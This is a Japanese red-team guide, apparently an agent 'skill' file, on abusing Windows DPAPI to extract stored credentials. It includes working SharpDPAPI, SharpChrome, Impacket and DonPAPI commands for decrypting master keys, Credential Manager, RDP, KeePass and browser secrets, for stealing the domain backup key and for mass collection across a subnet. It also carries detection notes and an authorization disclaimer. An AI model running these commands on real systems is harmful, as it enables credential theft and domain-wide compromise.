DPAPIを悪用した資格情報アクセス は何をしますか?
法的通知: このスキルは、許可されたペネトレーションテスト、レッドチーム演習、および教育目的のみを対象としています。所有していない、または明示的な書面によるテスト許可がないシステムから資格情報を抽出することは違法であり、コンピュータ不正アクセスおよび悪用防止法に違反する可能性があります。常に署名された実施範囲のルール(Rules of Engagement)内で行動し、すべてのアクションを文書化してください。
概要
Windows Data Protection API (DPAPI) は、オペレーティングシステムに組み込まれた対称暗号化サービスであり、アプリケーションが保存時のシークレットを保護するために使用します。保存されたRDPおよびWindows資格情報マネージャーの認証情報、資格情報コンテナ内のWebおよびWi-Fi認証情報、ブラウザの保存ログイン情報とクッキー(Chrome/Edge)、KeePassキー、証明書の秘密キー、スケジュールタスクのパスワードなどが対象です。DPAPIは、ユーザーのパスワード(またはマシンアカウントのシークレット)からユーザーごと(またはマシンごと)のマスターキーを導出し、そのマスターキーが個々の「DPAPIブロブ」を暗号化します。暗号化されたマスターキーは、%APPDATA%\Microsoft\Protect\<SID>\(ユーザー)および%WINDIR%\System32\Microsoft\Protect\(マシン)に保存されます。
レッドチームは、DPAPIを悪用して足場を確保した後に平文のシークレットを回復します。これはMITRE ATT&CKの**T1555.004(パスワードストアからの資格情報:Windows資格情報マネージャー)**に該当します。復号には主に3つの経路があります。
- オンライン/コンテキストベース — 対象ユーザーとして実行すると、DPAPI API(
CryptUnprotectData)が透過的にユーザーのブロブを復号します。SharpDPAPIの/unprotectフラグがこれを使用します。 - ユーザーパスワードまたはNTLMハッシュを使用したオフライン —
/password:または/ntlm:でユーザーのマスターキーを復号し、その後オフラインでブロブを復号します(ホストから取得したトリアージファイルに最適)。 - DPAPIバックアップキーを使用したドメイン全体 — ドメイン管理者は、ドメインのRSA DPAPIバックアップキー(
.pvk)を一度抽出すると、その後、/pvk:を使用して、オンラインまたはオフラインで任意のドメインユーザーのマスターキーを無期限に復号できます。
標準的なツールは、SharpDPAPI(GhostPack、MimikatzのDPAPI機能のC#移植版)およびSharpChrome(ブラウザシークレット用)はWindows用、Mimikatz(dpapi::*)は元の実装です。Linuxでは、Impacketのdpapi.pyおよびdonpapiがリモート/オフライントリアージを実行します。
使用するタイミング
- 横向き移動のために価値のあるRDP、ブラウザ、またはコンテナの資格情報が保存されているWindowsホストを侵害した後。
- ユーザーのパスワードまたはNTLMハッシュを保持しており、そのユーザーのDPAPI保護シークレットをオフラインで復号したい場合。
- ドメイン管理者権限を保有しており、ドメインのDPAPIバックアップキーを取得して、エステート全体の任意のユーザーの保護データを復号したい場合。
- ディスクイメージから流出した
Credentials、Vault、またはProtectディレクトリをトリアージする場合。 - DPAPIマスターキーアクセスおよびLSASS/Protectフォルダ読み取りの検出を検証するためのパープルチーム演習中。
前提条件
- 対象のWindowsホストに対する許可された足場(インタラクティブセッション、ビーコン、またはリモート管理者権限)。
- 対象ユーザーのSIDと、以下のいずれか:ユーザーのセッション、パスワード、NTLMハッシュ、またはバックアップキー取得のためのドメイン管理者権限。
- ツール(ソースからコンパイルするか、リリースバイナリを使用。公式上流からのみ入手すること)。
# SharpDPAPI / SharpChrome (GhostPack) — Visual Studio / msbuildでビルド
git clone https://github.com/GhostPack/SharpDPAPI.git
# SharpDPAPI.slnを開き、Releaseビルド、または:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (オリジナルDPAPI実装)
# https://github.com/gentilkiwi/mimikatz/releases
# Linuxリモート/オフライントリアージ (Impacket)
pipx install impacket # dpapi.py / impacket-dpapiを提供
pipx install donpapi # https://github.com/login-securite/DonPAPI
目標
- ホスト上のDPAPI保護された資格情報、コンテナ、RDP、証明書ブロブをトリアージする。
- ユーザーマスターキーをオンライン(
/unprotect)、パスワード/ハッシュ、またはドメインバックアップキーで復号する。 - 平文の資格情報マネージャーおよびコンテナシークレットを回復する。
- SharpChromeを使用してブラウザの保存ログイン情報とクッキーを抽出する。
- ドメインDPAPIバックアップキーを取得し、エステート全体の復号に再利用する。
MITRE ATT&CKマッピング
| テクニックID | 名称 | 戦術 | 関連性 |
|---|---|---|---|
| T1555.004 | パスワードストアからの資格情報:Windows資格情報マネージャー | 資格情報アクセス | DPAPIは資格情報マネージャー/コンテナエントリを保護します。マスターキーとブロブを復号することで、これらの保存資格情報が回復されます。 |
| T1555.003 | パスワードストアからの資格情報:Webブラウザからの資格情報 | 資格情報アクセス | SharpChromeはDPAPIで保護されたChrome/Edgeのログイン情報、クッキー、およびステートキーを復号します。 |
| T1003 | OS資格情報ダンプ | 資格情報アクセス | マスターキー/バックアップキーの抽出は、資格情報素材のダンプの一形態です。 |
ワークフロー
1. ホスト上のDPAPIブロブをトリアージする
ユーザーのコンテキストでSharpDPAPIのtriageコマンドを実行し、資格情報、コンテナ、RDG/RDP、証明書を自動的に列挙し(可能な場合は復号します)。
# 現在のユーザーコンテキストでのオンライントリアージ (CryptUnprotectDataを使用)
SharpDPAPI.exe triage /unprotect
# マシントリアージ (ローカル管理者/SYSTEMが必要) — マシンスコープのブロブ用
SharpDPAPI.exe machinetriage
2. ユーザーマスターキーをオフラインで復号する (パスワードまたはNTLMハッシュ)
ユーザーのパスワードまたはハッシュを保持している場合、マスターキーを{GUID}:SHA1マッピングに復号し、個々のブロブに対して再利用できます。
# 現在/指定されたユーザーのすべてのマスターキーをパスワードで復号
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# パスワードの代わりにユーザーのNTLMハッシュでマスターキーを復号
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# 出力はGUID:SHA1の行 — 資格情報/コンテナコマンドに渡す
3. 資格情報マネージャーとコンテナのシークレットを回復する
復号したマスターキーマッピング(または/pvk:)を使用して、保存された資格情報とコンテナエントリを復号します。
# GUID:SHA1マッピングで資格情報マネージャーのブロブを復号
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# または、対象のCredentialsフォルダを指定し、ドメインバックアップキーで復号
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# 資格情報コンテナエントリを復号
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. RDP、KeePass、証明書のシークレットを復号する
# 保存されたRDCMan.settings RDPパスワード (現在のユーザーコンテキスト)
SharpDPAPI.exe rdg /unprotect
# KeePass DPAPI保護マスターキー
SharpDPAPI.exe keepass /unprotect
# 証明書の秘密キー (エクスポート可能な.pemとして、/showallですべてのストアを表示)
SharpDPAPI.exe certificates /unprotect /showall
5. SharpChromeでブラウザの資格情報を抽出する
SharpChromeはChrome/Edgeのログイン情報とクッキーを復号します。最新のChromiumは、SharpChromeがDPAPIを介して解決するアプリバウンドの「ステートキー」を使用します。
# 現在のユーザーの保存ログイン情報を復号
SharpChrome.exe logins /unprotect
# 対象フォルダ内のクッキーを復号 (セッションハイジャックに有用)
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# AESステートキーを明示的に解決
SharpChrome.exe statekeys /unprotect
6. ドメインDPAPIバックアップキーを取得する (ドメイン管理者)
ドメイン管理者権限で、ドメインのRSA DPAPIバックアップ秘密キーを1回取得します。このキーは、すべてのドメインユーザーのマスターキーを無期限に復号できます。
# MS-BKRP RPCインターフェースを介してドメインバックアップキーを.pvkとしてプルし保存
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
その後、任意のユーザーのマスターキーをオフラインで復号します。
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. リモート / Linuxベースのトリアージ (Impacket / DonPAPI)
Linuxオペレーターボックスから、ホスト間でDPAPIシークレットを収集し復号します。
# Impacketを使用してドメインバックアップキーで単一のマスターキーファイルを復号
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# 回復したマスターキーで資格情報ブロブを復号
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# DonPAPIでホスト間の大規模リモートDPAPI収集
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
ツールとリソース
| ツール | 目的 | リンク |
|---|---|---|
| SharpDPAPI | Windows DPAPIトリアージ/復号 (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Chromiumログイン情報/クッキー/ステートキー復号 | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | オリジナルDPAPI (dpapi::*) 実装 | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | リモート/オフラインDPAPI復号 (Python) | https://github.com/fortra/impacket |
| DonPAPI | 大規模リモートDPAPI収集 | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | テクニックリファレンス | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
検出とOPSECに関する注意事項
- マスターキーへのアクセス、
\Microsoft\Protect\および\Microsoft\Credentials\の読み取りは検出可能です。backupkeyはDCへのMS-BKRP RPC呼び出しをトリガーします。 /unprotect(オンライン)パスは、単一ホストでは最もステルス性の高いオプションですが、ライブユーザーとしてのみ機能します。- 防御側は、SysmonによるLSASSへのプロセスアクセス、およびProtect/Credentialsフォルダへの異常なアクセスを監視する必要があります(DE.CM-01)。
検証基準
-
SharpDPAPI triage/machinetriageでホストをトリアージした。 - ユーザーマスターキーを
/unprotect、/password:、/ntlm:、または/pvk:で復号した。 - 資格情報マネージャーおよびコンテナのシークレットを回復した。
- RDP / KeePass / 証明書シークレットが存在する場合は抽出した。
- SharpChromeでブラウザのログイン情報/クッキーを復号した。
- ドメインDPAPIバックアップキーをドメイン管理者権限で取得し(対象範囲の場合)、オフラインで再利用した。
- 回復したすべてのシークレットを、ソースホスト/ユーザーとともに文書化し、ROEの遵守を確認した。